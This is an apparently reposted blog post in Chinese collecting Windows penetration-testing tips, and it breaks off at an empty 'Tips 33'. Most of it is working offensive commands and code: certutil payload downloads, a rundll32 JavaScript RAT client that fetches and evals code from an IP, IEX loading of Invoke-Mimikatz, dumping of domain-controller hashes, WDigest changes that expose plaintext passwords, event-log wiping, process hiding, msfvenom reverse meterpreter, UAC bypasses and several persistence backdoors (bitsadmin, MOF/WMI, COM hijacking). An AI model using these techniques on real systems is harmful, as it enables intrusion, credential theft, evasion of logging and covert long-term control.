Web

Pentest Tips

Pentest Tips.

Posted by Rootclay on 2017-09-05

Pentest-and-Development-Tips

A collection of pentest and development tips

Author: 3gstudent

Tips 1. 手动端口探测

nmap的-sV可以探测出服务版本,但有些情况下必须手动探测去验证

使用Wireshark获取响应包未免大材小用,可通过nc简单判断

eg.

对于8001端口,nc连接上去,随便输入一个字符串,得到了以下结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ nc -vv localhost 8001
localhost [127.0.0.1] 8001 (?) open
asd
HTTP/1.1 400 Bad Request
Date: Fri, 25 Aug 2017 12:15:25 GMT
Server: Apache/2.4.23 (Debian)
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.23 (Debian) Server at 127.0.0.1 Port 8001</address>
</body></html>

由此我们知道了这是一个http服务,因为我们发送的字符串不是一个合法的HTTP请求,因此返回一个400 Bad requests,我们还得到了系统的版本是Debian,WebServer是Apache

参考:

《谈谈端口探测的经验与原理》


Tips 2. Windows系统从Kali下载文件

Kali:

1
python -m SimpleHTTPServer 80

Windows:

1
2
certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe 1.exe
certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe delete

参考:

《渗透测试中的certutil.exe》


Tips 3. 配置工作组计算机,使其支持net use远程连接

添加用户:

1
2
net user test test /add
net localgroup administrators test /add

修改注册表,使其支持远程连接:

1
reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1

net use远程连接:

1
net use \\192.168.1.195 test /u:test

Tips 4. Windows日志清除

获取日志分类列表:

1
wevtutil el >1.txt

获取单个日志类别的统计信息:

eg.

1
wevtutil gli "windows powershell"

回显:

1
2
3
4
5
6
7
creationTime: 2016-11-28T06:01:37.986Z
lastAccessTime: 2016-11-28T06:01:37.986Z
lastWriteTime: 2017-08-08T08:01:20.979Z
fileSize: 1118208
attributes: 32
numberOfLogRecords: 1228
oldestRecordNumber: 1

查看指定日志的具体内容:

1
wevtutil qe /f:text "windows powershell"

删除单个日志类别的所有信息:

1
wevtutil cl "windows powershell"

参考:

《渗透技巧-Windows日志的删除与绕过》


Tips 5. 破坏Windows日志记录功能

通过调用TerminateThread结束实现日志功能的线程,使得日志记录功能失效,但Windows Event Log服务没有被破坏,状态仍为正在运行

Powershell:

https://github.com/hlldz/Invoke-Phant0m

C++:

https://github.com/3gstudent/Windwos-EventLog-Bypass

参考:

《渗透技巧-Windows日志的删除与绕过》

《利用API-NtQueryInformationThread和I_QueryTagInformation实现对Windwos日志监控的绕过》


Tips 6. Win7和Windows Server 2008 R2下的进程隐藏

利用globalAPIhooks,通过修改注册表实现

下载工程:https://github.com/subTee/AppInitGlobalHooks-Mimikatz

修改代码指定要隐藏的程序名cldr.exe,编译成cldr.dll,cldr.dll放在C:\ProgramData\Microsoft\HelpLibrary\

管理员权限:

1
2
3
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldr.dll" /f

此时,任务管理器进程列表不存在cldr.exe,Process Explorer不存在cldr.exe,Tasklist.exe不存在cldr.exe

对于64位系统:

管理员权限:

1
2
3
4
5
6
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldrx64.dll" /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldr.dll" /f

参考:

《利用globalAPIhooks在Win7系统下隐藏进程》


Tips 7. 同名exe和com文件执行顺序

如果一个路径下同时包含同名的exe和com文件,例如test.exe和test.com,通过命令行cmd输入test(不包含文件后缀名),会优先运行com文件,即test.com

而COM文件的生成只需要把exe文件的后缀名改为com即可

参考:

《A dirty way of tricking users to bypass UAC》


Tips 8. Windows系统证书生成与注册

证书生成与签名:

1
2
3
4
makecert -n "CN=Microsoft Windows" -r -sv Root.pvk Root.cer -b 01/30/2016 -e 01/01/2019
cert2spc Root.cer Root.spc
pvk2pfx -pvk Root.pvk -pi test -spc Root.spc -pfx Root.pfx -f
signtool sign /f Root.pfx /p test test.exe

执行后生成Root.cer、Root.pfx、Root.pvk、Root.spc四个文件,test.exe被加上数字签名

证书注册:

管理员权限cmd,将证书添加到localmachine:

1
2
certmgr.exe -add -c RootIssuer.cer -s -r localmachine root
certmgr.exe -add -c ChildSubject.cer -s -r localmachine root

参考:

《A dirty way of tricking users to bypass UAC》


Tips 9.  hta执行vbs,加载powershell

test.hta:

1
2
3
4
5
6
7
8
9
10
11
12
13
<HTML>
<HEAD>
<script language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
Connect="powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA=="
WshShell.Run Connect, 4, true
</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">
</HEAD>
<BODY>
</BODY>
</HTML>

参考:

《Bypass McAfee Application Control——Code Execution》


Tips 10. 通过c#编写dll & 通过rundll32.exe或者regsvr32加载dll

默认情况下,c#不可以声明导出函数,但可通过添加UnmanagedExports实现

当然,通过c#编写的dll,dll需要在对应版本的.NET环境才能正常运行,通过c++编写的dll更加通用

通过rundll32.exe或者regsvr32能够加载dll,但要求dll包含特定的导出函数

参考:

《Code Execution of Regsvr32.exe》


Tips 11. Windows下cpl文件介绍

本质上是DLL文件,后缀名为cpl,包含一个导出函数CPLApplet(c实现可不指定)

执行方法:

(1)双击直接运行

(2)cmd

1
rundll32 shell32.dll,Control_RunDLL test.cpl

(3)cmd

1
control test.cpl

(4)vbs

1
2
3
Dim obj
Set obj = CreateObject("Shell.Application")
obj.ControlPanelItem("test.cpl")

(5)js

1
2
var a = new ActiveXObject("Shell.Application");
a.ControlPanelItem("c:\\test\\test.cpl");

参考:

《CPL文件利用介绍》


Tips 12. Windows下通过cmd调用rundll32执行一段代码弹回Shell

Server:

https://github.com/3gstudent/Javascript-Backdoor/blob/master/JSRat.ps1

Client:

1
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");w=new%20ActiveXObject("WScript.Shell");try{v=w.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet%20Settings\\ProxyServer");q=v.split("=")[1].split(";")[0];h.SetProxy(2,q);}catch(e){}h.Open("GET","http://192.168.174.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

当然,该RAT工具还可通过以下方法加载:

vbs,js,exe,dll,shellcode

参考:

《JavaScript Backdoor》

《JavaScript Phishing》


Tips 13. 可通过内存dump还原出putty&pageant的密钥

windows和Linux均适用

参考:

《Memory Dump利用实例》


Tips 14. 针对Visual Studio的钓鱼利用

Visual C++:

  • 修改.vcxproj文件

Visual Basic:

  • 修改.vbproj文件

Visual F#:

  • 修改.fsproj文件

使用Visual Studio对以上任一工程编译时,能够执行任意代码

参考:

《Pay close attention to your download code——Visual Studio trick to run code when building》


Tips 15. 32位程序在64位Windows系统下执行的时候,如果有对注册表和文件的操作,存在重定向

对注册表操作:

访问HKLM\Software\的实际路径为HKLM\Software\Wow6432Node\

对文件操作:

访问c:\windows\Sysnative\ 的实际路径为 c:\windows\system32
访问c:\windows\system32\ 的实际路径为 c:\windows\SysWOW64\

参考:

《关于32位程序在64位系统下运行中需要注意的重定向问题》


Tips 16. 获取Windows域控所有用户hash

方法1:

复制ntds.dit:

使用NinjaCopy,https://github.com/3gstudent/NinjaCopy

导出hash:

使用quarkspwdump,https://github.com/quarkslab/quarkspwdump

1
2
esentutl /p /o ntds.dit
QuarksPwDump.exe -dhb -hist -nt c:\test\ntds.dit -o c:\test\log.txt

方法2:

使用powershell:DSInternals PowerShell Module

https://www.dsinternals.com/wp-content/uploads/DSInternals_v2.8.zip

适用条件:

Windows PowerShell 3.0 or 3.0+

.NET Framework 4.0 or 4.0+

参考:

《导出当前域内所有用户hash的技术整理》

《利用Powershell快速导出域控所有用户Hash》


Tips 17. 导出Windows系统明文口令

Windows Server 2012默认无法使用mimikatz导出明文口令,部分Windows Server 2008也一样

解决方法:启用Wdigest Auth

cmd:

1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

or

powershell:

1
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1

重启或者用户再次登录,能够导出明文口令

参考:

《域渗透——Dump Clear-Text Password after KB2871997 installed》


Tips 18. 可通过Hook PasswordChangeNotify实时记录域控管理员的新密码

当然,可选择保存在本地或是将密码上传至服务器

参考:

《域渗透——Hook PasswordChangeNotify》


Tips 19. 在域渗透时要记得留意域内主机的本地管理员账号

如果管理员疏忽,域内主机使用相同的本地管理员账号,可以通过pass-the-hash远程登录域内其他主机

参考:

《域渗透——Local Administrator Password Solution》


Tips 20. 通过powershell获取dll的导出函数

https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-Exports.ps1

1
Get-Exports -DllPath c:\Windows\system32\dimsjob.dll -ExportsToCpp C:\test\export.txt

参考:

《Study Notes Weekly No.3(Use odbcconf to load dll & Get-Exports & ETW USB Keylogger)》


Tips 21. 快捷方式的参数隐藏技巧

将payload放置在260个空字符之后,这样无法在文件属性查看payload,可以用来在快捷方式中隐藏payload,欺骗用户点击,隐蔽执行代码

参考:

《渗透技巧——快捷方式文件的参数隐藏技巧》


Tips 22. 32位程序能够对64位进程进行远程注入

POC:

https://github.com/3gstudent/CreateRemoteThread/blob/master/CreateRemoteThread32to64.cpp

参考:

《32位程序对64位进程的远程注入实现》


Tips 23. system权限的进程在某些情况下需要进行降权

使用sytem权限的进程可能会遇到以下问题:

1.无法获得当前用户的文件内容

例如无法捕获用户的屏幕

2.环境变量有差异

因此需要降权到当前用户

降权方法1:使用SelectMyParent.exe

代码下载地址:https://github.com/3gstudent/From-System-authority-to-Medium-authority/blob/master/Processauthority.cpp

参考:

《渗透技巧——程序的降权启动》

降权方法2:使用msdtc

使用msdtc会以system权限加载oci.dll,但在管理员权限cmd执行:

msdtc -install

启动的calc.exe为high权限

参考:

《Use msdtc to maintain persistence》


Tips 24. 通过命令行能够对Windows系统安装WinPcap,这样就可以在Windows跳板上使用nmap和Masscan

参考:

《渗透技巧——Windows平台运行Masscan和Nmap》


Tips 25. Windows平台执行mimikatz的方法

方法1:通过powershell

1
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

方法2:通过InstallUtil.exe

1
2
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe

参考:

《利用白名单绕过360实例》

《利用白名单绕过限制的更多测试》

方法3:通过regsvr32.exe

https://gist.githubusercontent.com/subTee/c3d5030bb99aa3f96bfa507c1c184504/raw/24dc0f93f1ebdda7c401dd3890259fa70d23f75b/regsvr32-katz.cs

将mimikatz封装到dll中,通过regsvr32传入参数运行mimkatz

1
rundll32 katz.dll,EntryPoint log coffee exit

参考:

《Code Execution of Regsvr32.exe》

方法4:通过msbuild.exe

下载xml文件,保存为a.xml:

https://github.com/3gstudent/msbuild-inline-task/blob/master/executes mimikatz.xml

cmd:

1
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe executes a.xml

参考:

《Use MSBuild To Do More》

方法5:通过csi.exe

1
"C:\Program Files (x86)\MSBuild\14.0\Bin\csi.exe" c:\test\katz.csx

参考:

《Study Notes Weekly No.4(Use tracker to load dll & Use csi to bypass UMCI & Execute C# from XSLT file)》

方法6:通过js/vbs脚本

https://gist.github.com/subTee/5c636b8736530fb20c3d

https://gist.github.com/subTee/b30e0bcc7645c790fcd993cfd0ad622f

参考:

《利用JS加载.Net程序》


Tips 26. Windows系统中可供存储和读取payload的位置

方法1:WMI

存储:

1
2
3
4
5
$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Command'
$StaticClass.Put()
$StaticClass.Properties.Add('Command' , $Payload)
$StaticClass.Put()

读取:

1
$Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value

参考:

《WMI Backdoor》

方法2:包含数字签名的PE文件

利用文件hash的算法缺陷,向PE文件中隐藏Payload,同时不影响该PE文件的数字签名

参考:

《隐写技巧-在PE文件的数字证书中隐藏Payload》

方法3:特殊ADS

(1)…

1
2
type putty.exe > ...:putty.exe
wmic process call create c:\test\ads\...:putty.exe

(2)特殊COM文件

1
2
type putty.exe > \\.\C:\test\ads\COM1:putty.exe
wmic process call create \\.\C:\test\ads\COM1:putty.exe

(3)磁盘根目录

1
2
type putty.exe >C:\:putty.exe
wmic process call create C:\:putty.exe

参考:

《Hidden Alternative Data Streams的进阶利用技巧》


Tips 27. Windows系统中值得搜集的信息

(1)已注册的WMI信息

1
2
3
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter GET __RELPATH /FORMAT:list
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer GET __RELPATH /FORMAT:list
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding GET __RELPATH /FORMAT:list

管理员也许会使用WMI记录攻击者调用WMI的操作,可通过wmic查看,当然通过wmic也能关闭该监控功能

参考:

《Study Notes Weekly No.1(Monitor WMI & ExportsToC++ & Use DiskCleanup bypass UAC))》


Tips 28. Windows系统反弹meterpreter的常用方法

方法1:通过rundll32加载dll反弹meterpreter

msf:

1
msfvenom -p windows/meterpreter/reverse_http -f dll LHOST=192.168.174.133 LPORT=8080>./a.dll

生成a.dll,然后上传至测试主机

执行rundll32.exe a.dll,Control_RunDLL,即可上线

方法2:通过cpl反弹meterpreter

代码见https://raw.githubusercontent.com/3gstudent/test/master/meterpreter_reverse_tcp.cpp

生成dll,重命名为cpl,双击执行

方法3:通过powershell反弹meterpreter

https://raw.githubusercontent.com/3gstudent/Code-Execution-and-Process-Injection/master/2-CodeExecution-Meterpreter.ps1


Tips 29. Windows系统加载dll的方法

方法1:rundll32

1
rundll32 a.dll,EntryPoint

方法2:regsvr32

1
regsvr32 a.dll

参考:

《Code Execution of Regsvr32.exe》

方法3:odbcconf

1
odbcconf.exe /a {regsvr c:\test\odbcconf.dll}

参考:

《Study Notes Weekly No.3(Use odbcconf to load dll & Get-Exports & ETW USB Keylogger)》

方法4:Tracker

1
Tracker.exe /d test.dll /c svchost.exe

tracker.exe包含微软数字签名,可绕过应用程序白名单的限制

参考:

《Study Notes Weekly No.4(Use tracker to load dll & Use csi to bypass UMCI & Execute C# from XSLT file)》

方法5:Excel.Application object’s RegisterXLL() method

前提:已安装Microsoft Office软件

1.rundll32

1
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:\\test\\messagebox.dll');this.close();

2.js

1
2
var excel = new ActiveXObject("Excel.Application");
excel.RegisterXLL("C:\\test\\messagebox.dll");

3.powershell

1
2
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
$excel.RegisterXLL("C:\test\messagebox.dll")

参考:

《Use Excel.Application object’s RegisterXLL() method to load dll》

方法6:xwizard.exe

复制%windir%\system32\下的xwizard.exe至新目录C:\x

将msg.dll重命名为xwizards.dll,保存在C:\x

命令行执行:

1
xwizard processXMLFile 1.txt

成功加载C:\x\xwizards.dll

参考:

《Use xwizard.exe to load dll》


Tips 30. Windows后门

方法1:bitsadmin

1
2
3
4
bitsadmin /create backdoor
bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
bitsadmin /Resume backdoor

参考:

《Use bitsadmin to maintain persistence and bypass Autoruns》

方法2:mof

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP1";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 1";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consP1";
ScriptingEngine = "JScript";
ScriptText = "GetObject(\"script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

管理员权限:

1
mofcomp test.mof

参考:

《WSC、JSRAT and WMI Backdoor》

方法3:wmi

每隔60秒执行一次notepad.exe

1
2
3
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", ExecutablePath="C:\Windows\System32\notepad.exe",CommandLineTemplate="C:\Windows\System32\notepad.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\""

参考:

《Study Notes of WMI Persistence using wmic.exe》

方法4:Userland Persistence With Scheduled Tasks

劫持计划任务UserTask,在系统启动时加载testmsg.dll

操作如下:

在HKEY_CURRENT_USER\Software\Classes\CLSID\下新建项{58fb76b9-ac85-4e55-ac04-427593b1d060}

接着新建项InprocServer32

值设定为c:\test\testmsg.dll

testmsg.dll包含如下导出函数:

DllCanUnloadNow
DllGetClassObject
DllRegisterServer
DllUnregisterServer

等待用户重新登录

参考:

《Userland registry hijacking》

方法5:Netsh

helper DLL需要包含导出函数InitHelperDll

管理员权限:

1
netsh add helper c:\test\netshtest.dll

helper dll添加成功后,每次调用netsh,均会加载c:\test\netshtest.dll

参考:

《Netsh persistence》

方法6:Shim

常用方式:

InjectDll
RedirectShortcut
RedirectEXE

《渗透测试中的Application Compatibility Shims》

方法7:dll劫持

通过Rattler自动枚举进程,检测是否存在可用dll劫持利用的进程

参考:

《DLL劫持漏洞自动化识别工具Rattler测试》

方法8:DoubleAgent

编写自定义Verifier provider DLL

通过Application Verifier进行安装

注入到目标进程执行payload

每当目标进程启动,均会执行payload,相当于一个自启动的方式

参考:

《渗透测试中的Application Verifier(DoubleAgent利用介绍)》

方法9:waitfor.exe

不支持自启动,但可远程主动激活,后台进程显示为waitfor.exe

参考:

《Use Waitfor.exe to maintain persistence》

方法10:AppDomainManager

针对.Net程序,通过修改AppDomainManager能够劫持.Net程序的启动过程。 如果劫持了系统常见.Net程序如powershell.exe的启动过程,向其添加payload,就能实现一种被动的后门触发机制

参考:

《Use AppDomainManager to maintain persistence》

方法11:Office加载项

如果系统已安装office软件,可通过配置Office加载项实现劫持,作为被动后门

常用利用方式:

Word WLL

Excel XLL

Excel VBA add-ins

PowerPoint VBA add-ins

POC:https://github.com/3gstudent/Office-Persistence

参考:

《Use Office to maintain persistence》

《Office Persistence on x64 operating system》

方法12:CLR

无需管理员权限的后门,并能够劫持所有.Net程序

POC:https://github.com/3gstudent/CLR-Injection

参考:

《Use CLR to maintain persistence》

方法13:msdtc

利用MSDTC服务加载dll,实现自启动,并绕过Autoruns对启动项的检测

参考:

《Use msdtc to maintain persistence》

方法14:Hijack CAccPropServicesClass and MMDeviceEnumerator

不需要重启系统,不需要管理员权限

通过修改注册表实现

POC:https://github.com/3gstudent/COM-Object-hijacking

参考:

《Use COM Object hijacking to maintain persistence——Hijack CAccPropServicesClass and MMDeviceEnumerator》

方法15:Hijack explorer.exe

不需要重启系统,不需要管理员权限

通过修改注册表实现

参考:

《Use COM Object hijacking to maintain persistence——Hijack explorer.exe》


Tips 31. UAC绕过

方法1:use eventvwr.exe and registry hijacking

适用:Win7,Win8.1,Win 10

https://github.com/3gstudent/UAC-Bypass/blob/master/Invoke-EventVwrBypass.ps1

参考:

《Study Notes of WMI Persistence using wmic.exe》

《Userland registry hijacking》

方法2:use sdclt.exe

适用Win10

参考:

《Study Notes of using sdclt.exe to bypass UAC》

方法3:use SilentCleanup

适用Win8,Win10

1
2
reg add hkcu\Environment /v windir /d "cmd /K reg delete hkcu\Environment /v windir /f && REM "
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I

参考:

《Study Notes of using SilentCleanup to bypass UAC》


Tips 32. Visual Studio生成的exe或是dll在其他系统使用,提示缺少相关DLL文件

解放方法:

将程序打包发布

项目菜单->项目属性,C/C+±>代码生成->运行库,选择多线程 (/MT)


Tips 33.